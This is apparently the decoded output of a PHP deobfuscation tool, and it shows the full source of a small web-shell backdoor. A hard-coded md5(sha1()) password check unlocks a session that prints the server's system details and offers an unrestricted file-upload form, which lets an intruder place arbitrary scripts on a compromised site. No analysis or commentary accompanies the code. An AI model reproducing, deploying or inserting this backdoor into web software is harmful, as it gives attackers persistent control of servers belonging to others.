PHP Decode

<?php
session_start();

if($_SESSION["adm"]){
echo '<b>Namesis<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>';
 }	else { echo '<b>Upload Fail !!!</b><br><br>';
 }}
}
if($_POST["p"]){
$p = $_POST["p"];

$pa = md5(sha1($p));

if($pa=="abd309a84781295737e40082b5c6b281"){
$_SESSION["adm"] = 1;

}
}

?>
<form action="" method="post">
<input type="text" name="p">
</form>